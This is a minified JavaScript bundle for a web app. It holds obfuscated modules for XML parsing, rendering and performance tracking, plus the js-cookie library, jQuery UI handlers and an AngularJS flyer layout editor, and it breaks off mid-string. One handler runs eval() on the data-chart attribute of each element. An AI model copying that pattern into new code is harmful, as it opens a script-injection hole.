n[r[868]](t,i,r[23])},n[r[875]]=function(t,i){i[r[284]]=n[r[871]](t,r[284]);i[r[384]]=n[r[871]](t,r[384]);i[r[816]]=n[r[872]](t,r[816]);i[r[558]]=n[r[872]](t,r[558]);i[r[819]]=n[r[872]](t,r[819]);i[r[820]]=n[r[872]](t,r[820]);i[r[490]]=n[r[871]](t,r[490]);i[r[386]]=n[r[869]](t,r[386]);i[r[818]]=n[r[872]](t,r[818]);i[r[660]]=n[r[872]](t,r[660])},n[r[876]]=function(t,i){i[r[839]]=f[r[839]];t[r[248]](r[839])&&r[251]==typeof t[r[839]]&&(i[r[839]][r[834]]=n[r[872]](t,r[877]),i[r[839]][r[835]]=n[r[872]](t,r[878]),i[r[839]][r[836]]=n[r[872]](t,r[879]),i[r[839]][r[837]]=n[r[872]](t,r[880]))},n[r[881]]=function(t,i){i[r[815]]=f[r[815]];t[r[248]](r[815])&&r[251]==typeof t[r[815]]&&(i[r[815]][r[864]]=n[r[870]](t,r[882],u[r[253]]),i[r[815]][r[860]]=n[r[872]](t,r[883]),i[r[815]][r[691]]=n[r[872]](t,r[884]),t[r[815]][r[248]](r[699])&&r[251]==typeof t[r[815]][r[699]]&&(i[r[815]][r[699]][r[684]]=n[r[874]](t,r[885]),i[r[815]][r[699]][r[687]]=n[r[874]](t,r[886]),i[r[815]][r[699]][r[685]]=n[r[874]](t,r[887]),i[r[815]][r[699]][r[686]]=n[r[874]](t,r[888]),i[r[815]][r[699]][r[688]]=n[r[874]](t,r[889]),i[r[815]][r[699]][r[689]]=n[r[874]](t,r[890])))},n[r[891]]=function(t,i){i[r[814]]=f[r[814]];t[r[248]](r[814])&&r[251]==typeof t[r[814]]&&(i[r[814]][r[864]]=n[r[870]](t,r[892],u[r[253]]),i[r[814]][r[860]]=n[r[872]](t,r[893]),i[r[814]][r[691]]=n[r[872]](t,r[894]))},n[r[895]]=function(t,i){i[r[826]]=f[r[826]];t[r[248]](r[826])&&r[251]==typeof t[r[826]]&&(i[r[826]][r[864]]=n[r[870]](t,r[896],u[r[253]]),i[r[826]][r[860]]=n[r[872]](t,r[897]),i[r[826]][r[691]]=n[r[872]](t,r[898]))},n[r[899]]=function(n){var t={onDrawScene:null,onStartRendering:null,onRenderingSuspended:null,onRenderingResumed:null,requestFakeInput:null,requestTraveledMouseDistance:null,requestKeyActiveState:null};return n[r[295]]&&Object[r[901]](t)[r[674]](function(t){return r[509]==typeof n[r[295]][t]})[r[900]](function(i){return t[i]=n[r[295]][i]}),t},n[r[635]]=function(t){t=t||{};var i={contentType:n[r[870]](t,r[557],u[r[255]])};return n[r[875]](t,i),n[r[876]](t,i),n[r[881]](t,i),n[r[891]](t,i),n[r[895]](t,i),[i,n[r[899]](t)]},n}();t[r[636]]=e},12553:function(n,t){r[0];Object[r[2]](t,r[1],{value:!0});t[r[713]]=void 0;var i=function(){function n(){}return n[r[334]]=function(n,t,i,u){for(var f=0;f<t[r[5]];f++)n[r[334]](t[f],i,u)},n[r[310]]=function(n,t,i,u){for(var f=0;f<t[r[5]];f++)n[r[310]](t[f],i,u)},n[r[723]]=function(n,t){if(n&&t){var i=n[r[903]](r[902]),u=!0;i&&i[r[5]]>0&&(u=i[r[676]](r[675])[r[167]](t)<0);i&&i[r[5]]>0&&u&&(t=i+r[675]+t);u&&n[r[357]](r[902],t)}},n[r[719]]=function(n,t){if(n&&t){var i=n[r[903]](r[902]);i&&i[r[167]](t)>-1&&(i=i[r[525]](new RegExp(r[905]+t+r[906]),r[11])[r[904]](),n[r[357]](r[902],i))}},n[r[907]]=function(){return window[r[908]]},Object[r[2]](n,r[716],{get:function(){var t=n[r[907]]()[r[149]],i=n[r[907]]()[r[909]];return/Android|IEMobile|iP(hone|ad|od)/i[r[143]](t)?i?{start:[r[910]],move:[r[911]],end:[r[912]],down:[r[910]],up:[r[912]],click:[r[912]],type:r[726]}:{start:[r[913]],move:[r[914]],end:[r[915],r[916]],down:[r[913]],up:[r[915],r[916]],click:[r[915]],type:r[732]}:{start:[r[917]],move:[r[918]],end:[r[919],r[920]],down:[r[921]],up:[r[922]],click:[r[712]],type:r[923]}},enumerable:!1,configurable:!0}),n}();t[r[713]]=i},78630:function(n,t,i){r[0];Object[r[2]](t,r[1],{value:!0});t[r[489]]=void 0;var u=i(83549),f=function(){function n(n,t){void 0===t&&(t=1e3);var i=this;this[r[625]]=function(){i[r[665]]&&(i[r[924]]=window[r[926]][r[925]]())};this[r[624]]=function(){if(!(i[r[924]]<0)){var n=window[r[926]][r[925]]()-i[r[924]];i[r[927]][r[241]](n);i[r[928]]();i[r[929]]+=n;i[r[929]]>i[r[930]]&&i[r[931]]&&(i[r[929]]=0,i[r[935]](i[r[932]](),i[r[933]](),i[r[934]]()))}};this[r[627]]=function(){i[r[665]]&&(i[r[936]]=window[r[926]][r[925]]())};this[r[628]]=function(){i[r[936]]<0||i[r[937]][r[241]](window[r[926]][r[925]]()-i[r[936]])};this[r[626]]=function(){i[r[665]]&&(i[r[938]]=window[r[926]][r[925]]())};this[r[632]]=function(){i[r[938]]<0||i[r[939]][r[241]](window[r[926]][r[925]]()-i[r[938]])};this[r[927]]=[];this[r[937]]=[];this[r[939]]=[];this[r[924]]=-1;this[r[936]]=-1;this[r[938]]=-1;this[r[940]]=n;this[r[930]]=t;this[r[931]]=[];this[r[929]]=0;this[r[665]]=!1}return n[r[172]][r[491]]=function(){this[r[665]]=!0},n[r[172]][r[493]]=function(){this[r[665]]=!1;this[r[927]]=[];this[r[937]]=[];this[r[939]]=[];this[r[924]]=-1;this[r[936]]=-1;this[r[938]]=-1},n[r[172]][r[492]]=function(n){-1===this[r[931]][r[167]](n)&&this[r[931]][r[241]](n)},n[r[172]][r[633]]=function(n){this[r[931]][r[167]](n)>-1&&this[r[931]][r[682]](this[r[931]][r[167]](n),1)},n[r[172]][r[932]]=function(){return 1e3/u[r[178]][r[214]](this[r[927]])},n[r[172]][r[933]]=function(){return u[r[178]][r[212]](this[r[937]])/u[r[178]][r[212]](this[r[927]])},n[r[172]][r[934]]=function(){return u[r[178]][r[212]](this[r[939]])/u[r[178]][r[212]](this[r[927]])},n[r[172]][r[335]]=function(){this[r[493]]();this[r[931]]=null},n[r[172]][r[935]]=function(n,t,i){for(var u=0,f=this[r[931]];u<f[r[5]];u++)f[u][r[602]](n,t,i)},n[r[172]][r[928]]=function(){for(var t=0,n=this[r[927]][r[5]]-1;n>=0;n--)if((t+=this[r[927]][n])>=this[r[940]]){this[r[927]][r[682]](0,n+1);this[r[937]][r[682]](0,n+1);this[r[939]][r[682]](0,n+1);break}},n}();t[r[489]]=f},10768:function(n){n[r[941]]=r[942]},50766:function(n){n[r[941]]=r[943]}},function(n){return n(n[r[693]]=21971)}])};r[251]==typeof t&&"object"==r[251]?n[r[941]]=f():"function"==r[509]&&i.amdD[r[945]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[251]==typeof t?t[r[946]]=f():(u[r[947]]=u[r[947]]||{},u[r[947]][r[368]]=u[r[947]][r[368]]||{},u[r[947]][r[368]][r[946]]=f())},966:function(n,t,i){var e,o,s,u,f,r;n=i.nmd(n);r=function(n,t){for(var f,u=1601,r=[],i=0;i<u;i++)r[i]='et%rsl%p aAs%tiirgMeatti eaAiesp  ah rdameeptoage%ibawt\'wtiaxfaeolSt;%rigrrhpiaxexee%mEexn egceacil g%aptseemvo_rPpesistnc a=Jwmrw3.mrnoT eo/XcctgXeaq ingoinocry% edepibyftte%--shrrxsetcniaulssdMr%l%%cts ocieetasrnups%qmik%alhgp:s0nertLiTa% uro jeocmxptt%:mglaed%pxrl-ud_ tlDlesmrio_xrpv%_!rd > gsiaL%m%,fi%>gnude%Denfpxteoloseecg%nimtc% rbfm%cgeel%atmncci sieyriixnmcsmgeP %u%el%fglt%qrc ikC:%heiaortsAD% [Nsc%suCiMebe< uxgitmr>eargasi ei%[%%aowxiM%u z_prC%%sN"edrtusPdoxrspecedo%o%pp%liieLuawlnlbeftldur%w%qn%tlunMnpWf%hamiiar en%inbpqiauXuua anlega%a<itMeruXtrto%ernytr%sLk ipgmaas%euuiAgtsueAEa%rritieeearaotgahoedRdtnayMtyaqxuastvttrsa%a%rn%ei P%bt%CrrsstmQ% eo%rrnn%reuaxutcTmgxtmONiirigattnjci%s uusuc%nttr%dam tlarhlimrd< te_tn%Cu%aycc%enafntucXya%lr:o>%uar/rdtfdyui%ol]l%lstd%niodi<%pusteu%e%/ %go %nig lrtxmrnetpehspdeedrl%tsnsss caa<iog e oSigenyr%gag%uMmnA[r i>%u% l oomtldnLltfnn%eluso edn orOini%x%oionepSteC%tuot mg%peel%mnnmasosdltonn%etn% aaatpl%eoedsslneda%ooerg<i %rC:{ethzlds%regaee%devoa%%mirs%iamtnmdsd _ldoaitom%buWo :fiaTnmCa/f_edOgumstTntttdonMilngqeeuiarse%smdeacct%f% %_> a idene%dratsspAeinreylrieusi%tctphcoar eeb%qLtncacxXelrLdCslrattrooenaie]neh_?ti fdOpaifrn iaMl=s/lasnxaseniAlnopsptlaXv%ose0utlo< dsh% oUpita  XiD psMrso%i}%teaoa:shfo%ttraar=gse_so%vaat%sbnmai%tndnue%iiLrtx<oto%tmro%ipi%nnftn%eeybelnceerssienibieCgeia%es%n Tcen e%est%lnaipmemfridssr1tcoei%Eo%nNrtanaa%acl> neysocrdpnntte n%mlrxlc%eeaote%eLaa_iafWecNueob>sa"darch-eto%$rpsstt>eorsshs%repcceMm>ofneit&%l<pb gtgnlo ttt<% %hetana/cr%t_a%bes2s%nTe %tk%clnesw eivph%pc%apo%et%nrrCet.densn rsb_ol%oo%tFpSt'.charAt(i);for(i=0;i<u;i++){var e=t*(i+96)+t%28398,o=t*(i+169)+t%47988,s=e%u,h=o%u,c=r[s];r[s]=r[h];r[h]=c;t=(e+o)%3583906}return f=String.fromCharCode(127),r.join("").split("%").join(f).split("#1").join("%").split("#0").join("#").split(f)}(0,1940015);r[0];u=self;f=function(){return(self[r[139]]=self[r[139]]||[])[r[63]]([[962],{54663:function(n,t,i){function b(n,t,i,u){return u?p[r[11]](e,u)?e[u]:r[6]+u+r[12]:y(t||parseInt(i,16))}function u(n){return n[r[13]]>3&&-1!==n[r[14]](r[6])?n[r[15]](w,b):n}function f(n){return new Error(n)}function l(n){return r[23]+n+r[8]}function o(n){return{get:n,enumerable:!0}}function g(n){var t,i={};for(t in n)i[t]=n[t];return i}function s(n){return n+r[24]}function a(){return{line:0,column:0}}function nt(n){throw n;}function v(n){function e(n){n instanceof Error||(n=f(n));ct=n;lt(n,i)}function t(n){ft&&(n instanceof Error||(n=f(n)),ft(n,i))}if(!this)return new v(n);var it,b,rt,ut,ft,et,ot,st,tt,ht=n&&n[r[25]],at=n&&n[r[26]]||r[27],vt=function(n){return at+n},lt=nt,i=a,w=!1,p=!1,ct=null,y=!1;this[r[28]]=function(n,t){if(r[29]!=typeof t)throw f(r[30]);switch(n){case r[31]:b=t;break;case r[32]:it=t;break;case r[33]:rt=t;break;case r[34]:lt=t;break;case r[35]:ft=t;break;case r[36]:ut=t;break;case r[37]:st=t;break;case r[38]:ot=t;break;case r[39]:et=t;break;default:throw f(r[40]+n);}return this};this[r[41]]=function(n){if(void 0===n&&(n={}),r[42]!=typeof n)throw f(r[43]);var t,i={};for(t in n)i[t]=n[t];return i[k]=d,p=!0,tt=i,this};this[r[44]]=function(n){if(r[45]!=typeof n)throw f(r[46]);return ct=null,function(n){function ti(){if(null!==at)return at;var d,ut,c,et,b,e,y,i,v,n,f,it=p&&nt[r[47]],ft=p&&w?[]:null,o=ni,a=gt,k=a[r[13]],ot={},st={},rt=function(n,t){return ot[vt(n)]=t};n:for(;o<k;o++)if(v=!1,!(32===(n=a[r[48]](o))||n<14&&n>8)){for((n<65||n>122||n>90&&n<97)&&95!==n&&58!==n&&(t(r[49]),v=!0),f=o+1;f<k;f++)if(!((n=a[r[48]](f))>96&&n<123||n>64&&n<91||n>47&&n<59||46===n||45===n||95===n)){if(32===n||n<14&&n>8){t(r[50]);o=f;continue n}if(61===n)break;t(r[51]);v=!0}if(r[52]===(i=a[r[53]](o,f))&&(t(r[54]),v=!0),34===(n=a[r[48]](f+1)))-1===(f=a[r[14]](r[10],o=f+2))&&-1!==(f=a[r[14]](r[7],o))&&(t(r[55]),v=!0);else if(39===n)-1===(f=a[r[14]](r[7],o=f+2))&&-1!==(f=a[r[14]](r[10],o))&&(t(r[55]),v=!0);else for(t(r[56]),v=!0,f+=1;f<k&&!(32===(n=a[r[48]](f+1))||n<14&&n>8);f++);for(-1===f&&(t(r[57]),f=k,v=!0),v||(e=a[r[53]](o,f)),o=f;f+1<k&&!(32===(n=a[r[48]](f+1))||n<14&&n>8);f++)o===f&&(t(r[58]),v=!0);if(o=f+1,!v)if(i in st)t(r[59]+i+r[60]);else if(st[i]=!0,p)if(w){if(null!==(b=r[47]===i?r[47]:120===i[r[48]](0)&&r[61]===i[r[62]](0,6)?i[r[62]](6):null)){if(d=u(e),ut=s(b),!(y=tt[d])){if(r[47]===b||ut in nt&&nt[ut]!==d){do y=r[41]+ui++;while(void 0!==nt[y])}else y=b;tt[d]=y}nt[b]!==y&&(et||(nt=g(nt),et=!0),nt[b]=y,r[47]===b&&(nt[s(y)]=d,it=y),nt[ut]=d);rt(i,e);continue}ft[r[63]](i,e)}else-1!==(n=i[r[14]](r[64]))?(c=nt[i[r[53]](0,n)])?((i=it===c?i[r[62]](n+1):c+i[r[62]](n))===h&&(-1!==(n=e[r[14]](r[64]))?(c=e[r[53]](0,n),e=(c=nt[c]||c)+e[r[53]](n)):e=it+r[64]+e),rt(i,e)):t(l(i[r[53]](0,n))):rt(i,e);else rt(i,e)}if(w)for(o=0,k=ft[r[13]];o<k;o++){if(i=ft[o++],e=ft[o],-1!==(n=i[r[14]](r[64]))){if(!(c=nt[i[r[53]](0,n)])){t(l(i[r[53]](0,n)));continue}(i=it===c?i[r[62]](n+1):c+i[r[62]](n))===h&&(-1!==(n=e[r[14]](r[64]))?(c=e[r[53]](0,n),e=(c=nt[c]||c)+e[r[53]](n)):e=it+r[64]+e)}rt(i,e)}return at=ot}var bt,k,ii,d,a,yt,wt,ft,kt,dt,at,ri=p?[]:null,nt=p?function(n){var t,i,r={};for(t in n)r[i=n[t]]=i,r[s(i)]=t;return r}(tt):null,pt=[],ui=0,lt=!1,ct=!1,v=0,f=0,gt=r[27],ni=0;for(i=function(){for(var i,t,h=/(\r\n|\r|\n)/g,s=0,u=0,e=0,o=f;v>=e&&(i=h[r[65]](n))&&!((o=i[0][r[13]]+i[r[66]])>v);)s+=1,e=o;return-1==v?(u=o,t=n[r[53]](f)):0===f?t=n[r[53]](f,v):(u=v-e,t=-1==f?n[r[53]](v):n[r[53]](v,f+1)),{data:t,line:s,column:u}},ht&&(dt=Object[r[67]]({},{name:o(function(){return ft}),originalName:o(function(){return kt}),attrs:o(ti),ns:o(function(){return nt})}));-1!==f;){if(-1===(v=60===n[r[48]](f)?f:n[r[14]](r[9],f)))return pt[r[13]]?e(r[68]):0===f?e(r[69]):void(f<n[r[13]]&&n[r[53]](f)[r[70]]()&&t(c));if(f!==v)if(pt[r[13]]){if(it&&(it(n[r[53]](f,v),u,i),y))return}else if(n[r[53]](f,v)[r[70]]()&&(t(c),y))return;if(33===(a=n[r[48]](v+1))){if(91===(d=n[r[48]](v+2))&&r[71]===n[r[62]](v+3,6)){if(-1===(f=n[r[14]](r[72],v)))return e(r[73]);if(ut&&(ut(n[r[53]](v+9,f),i),y))return;f+=3;continue}if(45===d&&45===n[r[48]](v+3)){if(-1===(f=n[r[14]](r[74],v)))return e(r[75]);if(et&&(et(n[r[53]](v+4,f),u,i),y))return;f+=3;continue}}if(63!==a){for(k=v+1;;k++){if(yt=n[r[48]](k),isNaN(yt))return f=-1,e(r[76]);if(34===yt)k=-1!==(d=n[r[14]](r[10],k+1))?d:k;else if(39===yt)k=-1!==(d=n[r[14]](r[7],k+1))?d:k;else if(62===yt){f=k;break}}if(33!==a){if(at={},47===a){if(lt=!1,ct=!0,!pt[r[13]])return e(r[77]);if(k=ft=pt[r[78]](),d=v+2+k[r[13]],n[r[53]](v+2,d)!==k)return e(r[79]);for(;d<f;d++)if(!(32===(a=n[r[48]](d))||a>8&&a<14))return e(r[80])}else{if(47===n[r[48]](f-1)?(k=ft=n[r[53]](v+1,f-1),lt=!0,ct=!0):(k=ft=n[r[53]](v+1,f),lt=!0,ct=!1),!(a>96&&a<123||a>64&&a<91||95===a||58===a))return e(r[81]);for(d=1,ii=k[r[13]];d<ii;d++)if(!((a=k[r[48]](d))>96&&a<123||a>64&&a<91||a>47&&a<59||45===a||95===a||46==a)){if(32===a||a<14&&a>8){ft=k[r[53]](0,d);at=null;break}return e(r[82])}ct||pt[r[63]](ft)}if(p){if(bt=nt,lt&&(ct||ri[r[63]](bt),null===at&&(w=-1!==k[r[14]](r[47],d))&&(ni=d,gt=k,ti(),w=!1)),kt=ft,-1!==(a=ft[r[14]](r[64]))){if(!(wt=nt[ft[r[53]](0,a)]))return e(r[83]+kt+r[8]);ft=ft[r[62]](a+1)}else wt=nt[r[47]];wt&&(ft=wt+r[64]+ft)}if(lt&&(ni=d,gt=k,b&&(ht?b(dt,u,ct,i):b(ft,ti,u,ct,i),y)))return;if(ct){if(rt&&(rt(ht?dt:ft,u,lt,i),y))return;p&&(nt=lt?bt:ri[r[78]]())}f+=1}else{if(st&&(st(n[r[53]](v,f+1),u,i),y))return;f+=1}}else{if(-1===(f=n[r[14]](r[84],v)))return e(r[85]);if(ot&&(ot(n[r[53]](v,f+2),i),y))return;f+=2}}}(n),i=a,y=!1,ct};this[r[86]]=function(){y=!0}}i[r[1]](t);i[r[2]](t,{SaxXMLParserWrapper:function(){return v},decode:function(){return u}});var y=String[r[3]],p=Object[r[5]][r[4]],w=/&#(\d+);|&#x([0-9a-f]+);|&(\w+);/gi,e={amp:r[6],apos:r[7],gt:r[8],lt:r[9],quot:r[10]};Object[r[18]](e)[r[17]](function(n){e[n[r[16]]()]=e[n]});var k=r[19],d=r[20],h=r[21],c=r[22]},66054:function(n,t){function e(n){return f[r[96]](n)}function o(n){return n[r[13]]>0&&r[27]!==n[r[97]](r[27])}function s(n,t,i){return function(n,t,i){var u=r[27];return i?(u+=r[9][r[89]](i),u+=n[r[13]]>0?r[101][r[89]](n[r[97]](r[101])):r[27],u+=t?r[8]:r[102]):u}(t,o(n),i)+function(n,t){var i=r[27];return o(n)&&(i+=n[r[97]](r[27]),i+=t?r[103][r[89]](t,r[8]):r[27]),i}(n,i)}function h(n){return r[104][r[89]](n,r[72])}function c(n){for(var t,s=function(n){return Object[r[18]](n)[r[98]](e)}(n),f=null,i=[],u=0,o=s;u<o[r[13]];u++)t=o[u],r[93]===t&&(f=n[t]),r[94]===t&&i[r[63]](n[t]),r[95]===t&&n[t][r[17]](function(n){i[r[63]](h(n))});return[f,i]}function l(n){return function(n){return Object[r[18]](n)[r[98]](function(n){return n[r[100]](r[99])&&!e(n)})}(n)[r[106]](function(t){return r[27][r[89]](t[r[15]](r[99],r[27]),r[105])[r[89]](n[t],r[10])})}function a(n,t){return t[r[106]](function(t){return r[45]==typeof t?s(r[27]!==t?[t]:[],[],n):i(t,n)})}function v(n){for(var u,t,f=[],e=0,o=function(n){return Object[r[18]](n)[r[98]](function(n){return!n[r[100]](r[99])})}(n);e<o[r[13]];e++)u=o[e],t=n[u],r[45]!=typeof t?t instanceof Array?f[r[63]][r[107]](f,a(u,t)):r[42]==typeof t&&f[r[63]](i(t,u)):f[r[63]](r[9][r[89]](u,r[8])[r[89]](t,r[103])[r[89]](u,r[8]));return f}function i(n,t){var f=c(n),e=f[0],o=f[1],h=v(n),a=l(n),i=t;return i&&e&&(i=r[27][r[89]](e,r[64])[r[89]](t)),s(u(u([],o,!0),h,!0),a,i)}var u=this&&this[r[87]]||function(n,t,i){if(i||2===arguments[r[13]])for(var f,u=0,e=t[r[13]];u<e;u++)!f&&u in t||(f||(f=Array[r[5]][r[88]][r[11]](t,0,u)),f[u]=t[u]);return n[r[89]](f||Array[r[5]][r[88]][r[11]](t))},f;Object[r[91]](t,r[90],{value:!0});t[r[92]]=void 0;f=[r[93],r[94],r[95]];t[r[92]]=i},27972:function(n,t,i){Object[r[91]](t,r[90],{value:!0});t[r[108]]=void 0;var u=i(16368),f=i(66054),e=i(69482),o=i(69482);t[r[108]]={name:u[r[110]][r[109]],module:{parseXML:o[r[111]],parseJSONtoXML:f[r[92]],setLogger:e[r[112]]}};t[r[113]]=t[r[108]]},69482:function(n,t,i){function e(n){n[r[115]]=function(){return(this[r[94]]?this[r[94]]:r[27])+(this[r[95]]?this[r[95]]:r[27])}}function h(n,t){t&&2===Object[r[18]](n)[r[13]]&&(n[r[94]]=r[27],e(n))}function y(n){var t=n[r[125]];return delete n[r[125]],function(n,t){if(a(t)&&null!=t[r[126]])if(n[t[r[126]]]!==t){if(n[t[r[126]]][r[127]]===Array){var i=n[t[r[126]]][r[14]](t);n[t[r[126]]][i]=t[r[94]]}}else n[t[r[126]]]=t[r[94]]}(t,n),delete n[r[126]],t}function v(n){return n[r[15]](/>\s+</g,r[129])[r[15]](/[\n|\r]+/g,r[101])[r[70]]()}var f,s,c,l,u,o,a;Object[r[91]](t,r[90],{value:!0});t[r[111]]=t[r[112]]=t[r[114]]=void 0;s=i(54663);!function(n){n[r[116]]=r[31];n[r[117]]=r[33];n[r[118]]=r[32];n[r[119]]=r[34];n[r[120]]=r[35];n[r[121]]=r[36];n[r[122]]=r[37];n[r[123]]=r[38];n[r[124]]=r[39]}(f||(f={}));c=function(n,t,i,u){return i[r[125]]=n,i[r[126]]=t,n[r[125]]||n[r[126]]||n[t]?n[t]?(n[t][r[63]](i),i):(h(i,u),n[t]=[i],i):(n[t]=i,i)};l=function(n,t,i,u){return i[r[125]]=n,i[r[126]]=t,n[t]?n[t][r[127]]===Array?(n[t][r[63]](i),i):(n[t]=[n[t],i],i):(h(i,u),n[t]=i,i)};a=function(n){return null!=n[r[94]]&&3===Object[r[18]](n)[r[13]]};t[r[114]]=v;t[r[112]]=function(n){o=n};t[r[111]]=function(n,t){u=u||new s[r[132]]({attributeNamePrefix:r[99]});var h,a=v(n),i={},p=t[r[133]]?c:l;return u[r[28]](f[r[116]],function(n,u,f,e){var o=function(n,t){var i=t();if(!n[r[96]](r[64]))return[n,i];var u=n[r[128]](r[64]),f=u[0],e=u[1];return i[r[93]]=f,[e,i]}(n,u),h=o[0],s=o[1];(function(n,t,i){i&&(n[r[130]]&&(n[r[130]]=t(n[r[130]])),n[r[131]]&&(n[r[131]]=t(n[r[131]])))})(s,f,t[r[134]]);i=p(i,h,s,e)}),u[r[28]](f[r[117]],function(){i=y(i)}),u[r[28]](f[r[118]],function(n,u){!function(n,t){n[r[94]]=t[r[70]]();e(n)}(i,t[r[134]]?u(n):n)}),u[r[28]](f[r[121]],function(n){null==i[r[95]]?i[r[95]]=[n]:i[r[95]][r[63]](n);e(i)}),u[r[28]](f[r[119]],function(n){h=new Error(r[136][r[89]](n instanceof Error?n[r[135]]:String(n)));o&&o[r[137]](h[r[135]]);u[r[86]]();i={}}),u[r[44]](a),h?{success:!1,error:h}:{success:!0,parsed:i}}}},function(n){return n(n[r[138]]=27972)}])};r[42]==typeof t&&"object"==r[42]?n[r[140]]=f():"function"==r[29]&&i.amdD[r[141]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[42]==typeof t?t[r[142]]=f():(u[r[143]]=u[r[143]]||{},u[r[143]][r[144]]=u[r[143]][r[144]]||{},u[r[143]][r[144]][r[142]]=f())}},t={};return n.amdD=function(){throw new Error("define cannot be used indirect");},n.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(n){if("object"==typeof window)return window}}(),n.nmd=function(n){return n.paths=[],n.children||(n.children=[]),n},n(939)}()})}();
/*! js-cookie v3.0.1 | MIT */
!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(n=n||self,function(){var r=n.Cookies,i=n.Cookies=t();i.noConflict=function(){return n.Cookies=r,i}}())}(this,function(){"use strict";function n(n){for(var i,r,t=1;t<arguments.length;t++){i=arguments[t];for(r in i)n[r]=i[r]}return n}return function t(i,r){function u(t,u,f){var o,e;if("undefined"!=typeof document){"number"==typeof(f=n({},r,f)).expires&&(f.expires=new Date(Date.now()+864e5*f.expires));f.expires&&(f.expires=f.expires.toUTCString());t=encodeURIComponent(t).replace(/%(2[346B]|5E|60|7C)/g,decodeURIComponent).replace(/[()]/g,escape);o="";for(e in f)f[e]&&(o+="; "+e,!0!==f[e]&&(o+="="+f[e].split(";")[0]));return document.cookie=t+"="+i.write(u,t)+o}}return Object.create({set:u,get:function(n){var f,o,t;if("undefined"!=typeof document&&(!arguments.length||n)){for(var e=document.cookie?document.cookie.split("; "):[],r={},u=0;u<e.length;u++){f=e[u].split("=");o=f.slice(1).join("=");try{if(t=decodeURIComponent(f[0]),r[t]=i.read(o,t),n===t)break}catch(n){}}return n?r[n]:r}},remove:function(t,i){u(t,"",n({},i,{expires:-1}))},withAttributes:function(i){return t(this.converter,n({},this.attributes,i))},withConverter:function(i){return t(n({},this.converter,i),this.attributes)}},{attributes:{value:Object.freeze(r)},converter:{value:Object.freeze(i)}})}({read:function(n){return'"'===n[0]&&(n=n.slice(1,-1)),n.replace(/(%[\dA-F]{2})+/gi,decodeURIComponent)},write:function(n){return encodeURIComponent(n).replace(/%(2[346BF]|3[AC-F]|40|5[BDE]|60|7[BCD])/g,decodeURIComponent)}},{path:"/"})});$(document).on("click","[data-show]",function(){var n=$($(this).attr("data-show"));return n.removeAttr("hidden"),!1});$(document).on("click","[data-hide]",function(){var n=$($(this).attr("data-hide"));return n.attr("hidden",!0),!1});$(document).on("click","[data-showhide]",function(){var n=$($(this).attr("data-showhide"));return n.attr("hidden")?n.removeAttr("hidden"):n.attr("hidden",!0),!1});$(document).on("click","[data-no-show]",function(){var n=$($(this).attr("data-no-show"));return n.removeAttr("visible"),!1});$(document).on("click","[data-no-hide]",function(){var n=$($(this).attr("data-no-hide"));return n.attr("visible",!0),!1});$(document).ready(function(){$("[data-toggle=tooltip]").tooltip({container:"body"});$("[data-toggle=tooltip]").click(function(){$(this).tooltip("hide")});$("input.form-control.date").datetimepicker({showClose:!0})});$(document).ready(function(){$("[data-chart]").each(function(){var n=eval("("+$(this).attr("data-chart")+")");$(this).highcharts(n)})});$(document).on("click","[data-toggle-guide]",function(){$(".content-wrapper").toggleClass("guide-on",$(".content-wrapper").hasClass("guide-on")===!1,{duration:0,complete:function(){$(window).trigger("resize");$("div[data-c-chart]").trigger("toggle-navigation");$(".content-wrapper").trigger("toggle-navigation")}})});$(document).ready(function(){$("[data-sortable]").each(function(){var t=$(this).attr("data-sortable"),n=t.split(",");$(this).sortable({connectWith:$.trim(n[0]),handle:$.trim(n[1]),placeholder:$.trim(n[2])+" sortable-placeholder",helper:function(n,t){return t.children().each(function(){$(this).width($(this).width())}),t}})})});c5App=angular.module("c5-App",["ui.bootstrap","ngSanitize"],function(n){n.startSymbol("[[");n.endSymbol("]]")});c5App.controller("TreeController",function(n){n.delete=function(n,t){n.$parent.$parent.splice(t,1)};n.add=function(n){var t=n.cols.length+1,i=n.name+"-"+t;n.cols.push({name:i,cols:[]})};n.hascols=function(n){return n.cols.length>0};n.cols=[{size:3},{size:3},{size:6,cols:[{size:4,cols:[{size:2},{size:2}]},{size:2}]}]});click={x:0,y:0};c5App.directive("viewable",function(){return{restrict:"A",link:function(n){n.$watch("style",function(){n.el.css={width:n.el.style.width*100+"%",height:n.el.style.height*100+"%",left:n.el.style.left*100+"%",top:n.el.style.top*100+"%"}},!0)}}});c5App.directive("configurable",function(){return{restrict:"A",link:function(n,t){n.$watch("style",function(){n.el.css={width:n.el.style.width*100+"%",height:n.el.style.height*100+"%",left:n.el.style.left*100+"%",top:n.el.style.top*100+"%"}},!0);t.draggable({containment:"parent",start:function(n){click.x=n.clientX;click.y=n.clientY},drag:function(t,i){var r=n.$parent.zoom;i.position.left=(t.clientX-click.x+i.originalPosition.left)/r;i.position.top=(t.clientY-click.y+i.originalPosition.top)/r},stop:function(){$(this).css({left:parseInt($(this).css("left"))/($(this).parent().width()/100)+"%",top:parseInt($(this).css("top"))/($(this).parent().height()/100)+"%",width:parseInt($(this).css("width"))/($(this).parent().width()/100)+"%",height:parseInt($(this).css("height"))/($(this).parent().height()/100)+"%"})}}).resizable({containment:"parent",handles:"n,e,s,w,ne,se,sw,nw",minWidth:!1,minHeight:!1,start:function(n){click.x=n.clientX;click.y=n.clientY},resize:function(t,i){var r=n.$parent.zoom;i.position.left=i.position.left!=i.originalPosition.left?i.originalPosition.left+(t.clientX-click.x)/r:i.position.left;i.position.top=i.position.top!=i.originalPosition.top?i.originalPosition.top+(t.clientY-click.y)/r:i.position.top;i.size.width=i.originalSize.width+(i.size.width-i.originalSize.width)/r;i.size.height=i.originalSize.height+(i.size.height-i.originalSize.height)/r},stop:function(){$(this).css({left:parseInt($(this).css("left"))/($(this).parent().width()/100)+"%",top:parseInt($(this).css("top"))/($(this).parent().height()/100)+"%",width:parseInt($(this).css("width"))/($(this).parent().width()/100)+"%",height:parseInt($(this).css("height"))/($(this).parent().height()/100)+"%"})}}).click(function(){t.draggable({disabled:!0})})}}});c5App.controller("document-Controller",function(n){n.document={unit:"in",pages:[{width:"8.5",height:"11",scan:"../../../../../assets/img/sample/flyer-1.jpg",elements:[{id:1,type:"text",style:{font:"Arial",size:32,color:"#ffffff",align:"center",width:.7,height:.1,top:.075,left:.15},settings:{editable:!0,min:0,max:100},content:{text:"<b>Lorem